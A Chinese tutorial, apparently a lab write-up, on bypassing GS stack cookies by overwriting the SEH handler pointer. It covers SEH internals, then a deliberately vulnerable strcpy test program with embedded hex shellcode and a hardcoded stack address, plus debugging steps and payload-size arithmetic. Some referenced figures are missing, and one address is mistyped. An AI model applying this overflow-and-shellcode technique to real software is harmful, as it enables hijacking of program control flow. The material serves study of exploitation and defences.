通过SEH链绕过GS保护机制
⑴. 原理分析:
i.异常处理结构(SEH)处理流程如下:
SEH是基于线程的,每一个线程都有一个独立的SEH处理结果,在线程信息块中的第一个结构指向线程的异常列表,Fs:[0]总是指向当前线程的TIB,其中0偏移的指向线程的异常链表,即ExceptionList是指向异常处理链表(EXCEPTION_REGISTRATION结构)的一个指针。
线程信息块定义:
typedef struct _NT_TIB {
struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList; //异常的链表
PVOID StackBase;
PVOID StackLimit;
PVOID SubSystemTib;
union {
PVOID FiberData;
DWORD Version;
};
PVOID ArbitraryUserPointer;
struct _NT_TIB *Self;
} NT_TIB;
EXCEPTION_REGISTRATION结构:
typedef struct _EXCEPTION_REGISTRATION_RECORD {
//指向前一个EXCEPTION_REGISTRATION的指针
struct _EXCEPTION_REGISTRATION_RECORD *Prev;
PEXCEPTION_ROUTINE Handler; //当前异常处理回调函数的地址
} EXCEPTION_REGISTRATION_RECORD;
异常处理函数(EXCEPTION_REGISTRATION结构中的PEXCEPTION_ROUTINE Handler),原型:
EXCEPTION_DISPOSITION __cdecl _except_handler(
struct _EXCEPTION_RECORD *ExceptionRecord,//指向包含异常信息的EXCEPTION_RECORD结构
void* EstablisherFrame,//指向该异常相关的EXCEPTION_REGISTRATION结构
struct _CONTEXT *ContextRecord,//指向线程环境CONTEXT结构的指针
void* DispatcherContext){ //该域暂无意义
……
//4种返回值及含义
//1.ExceptionContinueExecution(0):回调函数处理了异常,可以从异常发生的指令处重新执行。
//2.ExceptionContinueSearch(1):回调函数不能处理该异常,需要要SEH链中的其他回调函数处理。
//3.ExceptionNestedException(2):回调函数在执行中又发生了新的异常,即发生了嵌套异常
//4.ExceptionCollidedUnwind(3):发生了嵌套的展开操作
return …
}
异常处理函数中EXCEPTION_RECORD参数的结构:
typedef struct _EXCEPTION_RECORD {
DWORD ExceptionCode; //异常码,以STATUS_或EXCEPTION_开头,可自定义。(sehdef.inc)
DWORD ExceptionFlags; //异常标志。0可修复;1不可修复;2正在展开,不要试图修复
struct _EXCEPTION_RECORD *ExceptionRecord; //指向嵌套的异常结构,通常是异常中又引发异常
PVOID ExceptionAddress; //异常发生的地址
DWORD NumberParameters; //下面ExceptionInformation所含有的dword数目
ULONG_PTR ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS]; //附加消息,如读或写冲突
} EXCEPTION_RECORD;
异常处理函数中CONTEXT参数的结构:
typedef struct _CONTEXT {
DWORD ContextFlags; //用来表示该结构中的哪些域有效
DWORD Dr0, Dr2, Dr3, Dr4, Dr5, Dr6, Dr7; //调试寄存器
FLOATING_SAVE_AREA FloatSave; //浮点寄存器区
DWORD SegGs, SegFs, SegEs, Seg Ds; //段寄存器
DWORD Edi, Esi, Ebx, Edx, Ecx, Eax; //通用寄存器组
DWORD Ebp, Eip, SegCs, EFlags, Esp, SegSs; //控制寄存器组
//扩展寄存器,只有特定的处理器才有
BYTE ExtendedRegisters[MAXIMUM_SUPPORTED_EXTENSION];
} CONTEXT;
异常展开机制:
a.什么是展开操作
①当发生异常时,系统遍历EXCEPTION_REGISTRATION结构链表,从链表头,直到它找到一个处理这个异常的处理程序。一旦找到,系统就再次重新遍历这个链表,直到处理这个异常的节点为止(即返回ExceptionContinueExecution节点)。在这第二次遍历中,系统将再次调用每个异常处理函数。关键的区别是,在第二次调用中,异常标志被设置为2。这个值被定义 为EH_UNWINDING
②注意展开操作是发生在出现异常时,这个异常回调函数拒绝处理的时候(即返回ExceptionContinueSearch)。这里系统会从链表头开始遍历(因异常的嵌套,可理解为由内层向外层),所以各异常回调函数会第1次被依次调用,直到找到同意处理的节点。然后,再重新从链表头开始(即由内向外)第2次调用以前那些曾经不处理异常的节点,直到同意处理的那个异常的节点为止。
③当一个异常处理程序拒绝处理某个异常时,它实际上也就无权决定流程最终将从何处恢复。只有处理某个异常的异常处理程序才能决定待所有异常处理代码执行完毕之后流程最终将从何处恢复。即,当异常已经被处理完毕,并且所有前面的异常帧都已经被展开之后,流程从处理异常的那个回调函数决定的地方开始继续执行。
④展开操作完成后,同意处理异常的回调函数也必须负责把Fs:[0]恢复到处理这个异常的EXCEPTION_REGISTRATION上,即展开操作导致堆栈上处理异常的帧以下的堆栈区域上的所有内容都被移除了,这个异常处理也就成了SEH链表的第1个节点。
b.为什么要进行堆栈展开
①第1个原因是告知回调函数将被卸掉,以让被卸载的回调函数有机会进行一些清理未释放资源的机会。因为一个函数发生异常时,执行流程通常不会从这个函数正常退出。所以可以导致资源未被正确释放(如C++类的对象析构函数没被调用等)。
②第2个原因是如果不进行堆栈展开,可能会引发未知的错误。(见《软件加密技术内幕》第132-134页)。
c.如何展开:RtlUnwind(lpLastStackFrame,lpCodelabel,lpExceptionRecord,dwRet);
①lpLastStackFrame:当遍历到这个帧时就停止展开异常帧。为NULL时表示展开所有回调函数。
②lpCodeLabel:指向该函数返回的位置。如果指定为NULL,表示函数使用正常的方式返回。
③lpExceptionRecord:指定一个EXCPETION_RECORD结构。这个结构将在展开操作的时候被传给每一个被调用的回调函数,一般建议使用NULL来让系统自动生成代表展开操作的EXCEPTION_RECORD结构。
④dwRet一般不被使用。
【注意】:
①MySEH2程序中我们并没有在main函数中的__try{}的 __except{}中调用RtlUnwind,是因为编译器在生成__try{}/__except{}时,己经帮我们做好了。否则如果是利用Windows本身的SEH来写的话,应该在返回ExceptionContinueExecution的回调函数中调用RtlUnwind来展开。
②RtlUnwind这个函数并不像其他API函数会保存esi、edi和ebx等寄存器,在函数返回的时候,这些寄存器的值也可能会被改变。如果程序用到了这些寄存器的话,要自己保存和恢复它们。
参考链接:
http://www.cnblogs.com/5iedu/p/5205428.html
ii.在没有safeSEH保护机制的程序中,程序运行时的堆栈结构如下:
所以当程序发生缓存区溢出,将我们需要的执行的恶意代码地址覆盖到异常处理函·数的指针,就可以在程序发生异常的时候执行恶意代码。
⑵.环境准备:
测试代码:
#include
#include
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xA0\xFE\x12\x00"//address of shellcode
;
void test(char * input)
{
char buf[200];
strcpy(buf,input);
strcat(buf,input);
}
void main()
{
test(shellcode);
}
测试环境:
为了避免safeSEH保护机制的影响,使用win 2000和vs 2005(win 2000最高支持vs 2005)。
⑶.调试分析:
i.参数入栈:
得到:参数指针:0x0012ff78
ii.函数调用(EIP,EBP,EBP^cookies,入栈,并开辟缓冲区):
得到EIP : 0x0012ff74
EBP : 0x0012ff70
EBP^cookies : 0x0012ff6c
iii.查看异常处理链(在OD窗口中):
在堆栈中查看:
得到异常处理函数的指针地址为0x0012ffb4。
iv.参数在缓冲区中的起始地址(shellcode的起始地址):
得到参数在缓冲区中的起始地址为:0x0012fea0。
⑷.攻击过程:
i.确定shellcode大小:
从⑴原理分析中可知,我们的目的是将程序原本装载的异常处理函数指针换成我们恶意代码的指针。
Shellcode的大小 = 第一个异常处理函数的地址 — 缓冲区起始地址(shellcode起始地址)+ 4字节地址大小(异常处理函数指针的内容)
Size(shellcode) = 0x0012ffb4 - 0x00fea0 + 4 (地址长度为4字节) = 280字节
ii.设计shellcode
由之前的分析可以得到shellcode的结构如下:
iii.攻击结果:
当strcpy函数执行结束后,
检查堆栈:
异常处理函数指针已经被覆盖成shellcode的指针。
执行结果:
成功。